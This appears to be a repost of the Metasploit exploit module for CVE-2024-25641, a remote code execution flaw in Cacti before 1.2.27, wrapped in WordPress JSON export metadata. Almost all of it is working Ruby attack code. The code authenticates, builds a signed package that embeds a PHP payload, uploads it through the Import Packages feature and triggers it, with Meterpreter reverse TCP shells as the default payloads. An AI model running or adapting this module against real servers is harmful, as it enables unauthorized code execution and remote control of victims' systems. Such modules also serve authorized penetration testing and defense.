##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking<\/p>\n
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Cacti
include Msf::Payload::Php
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck<\/p>\n
def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘Cacti Import Packages RCE’,
‘Description’ => %q{
This exploit module leverages an arbitrary file write vulnerability
(CVE-2024-25641) in Cacti versions prior to 1.2.27 to achieve RCE. It
abuses the `Import Packages` feature to upload a specially crafted
package that embeds a PHP file. Cacti will extract this file to an
accessible location. The module finally triggers the payload to execute
arbitrary PHP code in the context of the user running the web server.<\/p>\n
Authentication is needed and the account must have access to the
`Import Packages` feature. This is granted by setting the `Import
Templates` permission in the `Template Editor` section.
},
‘License’ => MSF_LICENSE,
‘Author’ => [
‘Egidio Romano’, # Initial research and discovery
‘Christophe De La Fuente’ # Metasploit module
],
‘References’ => [
[ ‘URL’, ‘https:\/\/karmainsecurity.com\/KIS-2024-04’],
[ ‘URL’, ‘https:\/\/github.com\/Cacti\/cacti\/security\/advisories\/GHSA-7cmj-g5qc-pj88’],
[ ‘CVE’, ‘2024-25641’]],
‘Platform’ => [‘unix linux win’],
‘Privileged’ => false,
‘Arch’ => [ARCH_PHP, ARCH_CMD],
‘Targets’ => [
[
‘PHP’,
{
‘Arch’ => ARCH_PHP,
‘Platform’ => ‘php’,
‘Type’ => :php,
‘DefaultOptions’ => {
# Payload is not set automatically when selecting this target.
# Select Meterpreter by default
‘PAYLOAD’ => ‘php\/meterpreter\/reverse_tcp’
}
}
],
[
‘Linux Command’,
{
‘Arch’ => ARCH_CMD,
‘Platform’ => [ ‘unix’, ‘linux’ ],
‘DefaultOptions’ => {
# Payload is not set automatically when selecting this target.
# Select a x64 fetch payload by default.
‘PAYLOAD’ => ‘cmd\/linux\/http\/x64\/meterpreter_reverse_tcp’
}
}
],
[
‘Windows Command’,
{
‘Arch’ => ARCH_CMD,
‘Platform’ => ‘win’,
‘DefaultOptions’ => {
# Payload is not set automatically when selecting this target.
# Select a x64 fetch payload by default.
‘PAYLOAD’ => ‘cmd\/windows\/http\/x64\/meterpreter_reverse_tcp’
}
}
]],
‘DisclosureDate’ => ‘2024-05-12’,
‘DefaultTarget’ => 0,
‘Notes’ => {
‘Stability’ => [CRASH_SAFE],
‘Reliability’ => [REPEATABLE_SESSION],
‘SideEffects’ => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]}
)
)<\/p>\n
register_options(
[
OptString.new(‘USERNAME’, [ true, ‘User to login with’, ‘admin’]),
OptString.new(‘PASSWORD’, [ true, ‘Password to login with’, ‘admin’]),
OptString.new(‘TARGETURI’, [ true, ‘The base URI of Cacti’, ‘\/cacti’])
])
end<\/p>\n
def check
# Step 1 – Check if the target is Cacti and get the version
print_status(‘Checking Cacti version’)
res = send_request_cgi(
‘uri’ => normalize_uri(target_uri.path, ‘index.php’),
‘method’ => ‘GET’,
‘keep_cookies’ => true
)
return CheckCode::Unknown(‘Could not connect to the web server – no response’) if res.nil?<\/p>\n
html = res.get_html_document
begin
cacti_version = parse_version(html)
version_msg = “The web server is running Cacti version #{cacti_version}”
rescue Msf::Exploit::Cacti::CactiNotFoundError => e
return CheckCode::Safe(e.message)
rescue Msf::Exploit::Cacti::CactiVersionNotFoundError => e
return CheckCode::Unknown(e.message)
end<\/p>\n
if Rex::Version.new(cacti_version) < Rex::Version.new(‘1.2.27’)
print_good(version_msg)
else
return CheckCode::Safe(version_msg)
end<\/p>\n
# Step 2 – Login
@csrf_token = parse_csrf_token(html)
return CheckCode::Unknown(‘Could not get the CSRF token from `index.php`’) if @csrf_token.empty?<\/p>\n
begin
do_login(datastore[‘USERNAME’], datastore[‘PASSWORD’], csrf_token: @csrf_token)
rescue Msf::Exploit::Cacti::CactiError => e
return CheckCode::Unknown(“Login failed: #{e}”)
end<\/p>\n
@logged_in = true<\/p>\n
# Step 3 – Check if the user has enough permissions to reach `package_import.php`
print_status(‘Checking permissions to access `package_import.php`’)
res = send_request_cgi(
‘uri’ => normalize_uri(target_uri.path, ‘package_import.php’),
‘method’ => ‘GET’,
‘keep_cookies’ => true
)
return CheckCode::Unknown(‘Could not access `package_import.php` – no response’) if res.nil?
return CheckCode::Unknown(“Could not access `package_import.php` – unexpected HTTP response code: #{res.code}”) unless res.code == 200
# The form with the CSRF token input field is not present when access is denied
if parse_csrf_token(res.get_html_document).empty?
return CheckCode::Safe(‘Could not access `package_import.php` – insufficient permissions’)
end<\/p>\n
CheckCode::Appears
end<\/p>\n
# Taken from modules\/payloads\/singles\/php\/exec.rb
def php_exec(cmd)
dis = ‘$’ + rand_text_alpha(4..7)
shell = <<-END_OF_PHP_CODE
#{php_preamble(disabled_varname: dis)}
$c = base64_decode(“#{Rex::Text.encode_base64(cmd)}”);
#{php_system_block(cmd_varname: ‘$c’, disabled_varname: dis)}
END_OF_PHP_CODE<\/p>\n
Rex::Text.compress(shell)
end<\/p>\n
def generate_package
@payload_path = “resource\/#{rand_text_alphanumeric(5..10)}.php”<\/p>\n
php_payload = target[‘Type’] == :php ? payload.encoded : php_exec(payload.encoded)<\/p>\n
digest = OpenSSL::Digest.new(‘SHA256’)
pkey = OpenSSL::PKey::RSA.new(2048)
file_signature = pkey.sign(digest, php_payload)<\/p>\n
xml_data = <<~XML
<xml>
<files>
<file>
<name>#{@payload_path}<\/name>
<data>#{Rex::Text.encode_base64(php_payload)}<\/data>
<filesignature>#{Rex::Text.encode_base64(file_signature)}<\/filesignature>
<\/file>
<\/files>
<publickey>#{Rex::Text.encode_base64(pkey.public_key.to_pem)}<\/publickey>
<signature><\/signature>
<\/xml>
XML<\/p>\n
signature = pkey.sign(digest, xml_data)
xml_data.sub!(‘<signature><\/signature>’, “<signature>#{Rex::Text.encode_base64(signature)}<\/signature>”)<\/p>\n
Rex::Text.gzip(xml_data)
end<\/p>\n
def upload_package
print_status(‘Uploading the package’)
# Default parameters sent when importing packages from the web UI
# Randomizing these values might be suspicious
vars_form = {
‘__csrf_magic’ => @csrf_token,
‘trust_signer’ => ‘on’,
‘data_source_profile’ => ‘1’,
‘remove_orphans’ => ‘on’,
‘replace_svalues’ => ‘on’,
‘image_format’ => ‘3’,
‘graph_height’ => ‘200’,
‘graph_width’ => ‘700’,
‘save_component_import’ => ‘1’,
‘preview_only’ => ‘on’,
‘action’ => ‘save’
}<\/p>\n
vars_form_data = []vars_form.each do |name, data|
vars_form_data << { ‘name’ => name, ‘data’ => data }
end<\/p>\n
vars_form_data << {
‘name’ => ‘import_file’,
‘filename’ => “#{rand_text_alphanumeric(5..10)}.xml.gz”,
‘content_type’ => ‘application\/x-gzip’,
‘encoding’ => ‘binary’,
‘data’ => generate_package
}<\/p>\n
res = send_request_cgi(
‘uri’ => normalize_uri(target_uri.path, ‘package_import.php’),
‘method’ => ‘POST’,
‘keep_cookies’ => true,
‘vars_form_data’ => vars_form_data
)
fail_with(Failure::Unreachable, ‘Could not connect to the web server – no response when sending the preview import request’) if res.nil?
fail_with(Failure::UnexpectedReply, “Unexpected response code (#{res.code}) when sending the preview import request”) unless res.code == 200<\/p>\n
html = res.get_html_document
local_path = html.xpath(‘\/\/input[starts-with(@id, “chk_file”)]\/@title’).text
fail_with(Failure::Unknown, ‘Unable to import the package’) if local_path.empty?<\/p>\n
vars_form[‘preview_only’] = ”
res = send_request_cgi(
‘uri’ => normalize_uri(target_uri.path, ‘package_import.php’),
‘method’ => ‘POST’,
‘keep_cookies’ => true,
‘vars_post’ => vars_form
)
fail_with(Failure::Unreachable, ‘Could not connect to the web server – no response when importing the package’) if res.nil?
fail_with(Failure::UnexpectedReply, “Unexpected response code when importing the package (#{res.code})”) unless res.code == 302<\/p>\n
local_path
end<\/p>\n
def trigger_payload
# Expecting no response
print_status(‘Triggering the payload’)
send_request_cgi({
‘uri’ => normalize_uri(target_uri.path, @payload_path),
‘method’ => ‘GET’
}, 1)
end<\/p>\n
def exploit
# Setting the `FETCH_DELETE` option seems to break the payload execution.
# `Msf::Exploit::FileDropper` will be used later to cleanup. Note that it
# is not possible to opt-out anymore.
fail_with(Failure::BadConfig, ‘FETCH_DELETE must be set to false’) if datastore[‘FETCH_DELETE’]\n
unless @csrf_token
begin
@csrf_token = get_csrf_token
rescue CactiError => e
fail_with(Failure::NotFound, “Unable to get the CSRF token: #{e.class} – #{e}”)
end
end<\/p>\n
unless @logged_in
begin
do_login(datastore[‘USERNAME’], datastore[‘PASSWORD’], csrf_token: @csrf_token)
rescue CactiError => e
fail_with(Failure::NoAccess, “Login failure: #{e.class} – #{e}”)
end
end<\/p>\n
package_path = upload_package<\/p>\n
register_file_for_cleanup(package_path)<\/p>\n
# For fetch payloads, setting the `FETCH_DELETE` option seems to break the
# payload execution. Using `#register_file_for_cleanup` instead, since we
# know the local path.
if target[‘Type’] != :php && payload_instance.is_a?(Msf::Payload::Adapter::Fetch)
if File.absolute_path?(datastore[‘FETCH_FILENAME’])
register_file_for_cleanup(datastore[‘FETCH_FILENAME’])
else
register_file_for_cleanup(File.join(File.dirname(package_path), datastore[‘FETCH_FILENAME’]))
end
end<\/p>\n
trigger_payload
end<\/p>\n
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::Cactiinclude Msf::Payload::Phpinclude Msf::Exploit::FileDropperprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,‘Name’ => ‘Cacti Import Packages RCE’,‘Description’ => %q{This exploit module leverages an arbitrary file write vulnerability(CVE-2024-25641) in Cacti versions prior to 1.2.27 to achieve RCE. Itabuses the `Import Packages` feature to …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57469","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57469","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57469"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57469\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57469"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57469"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57469"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}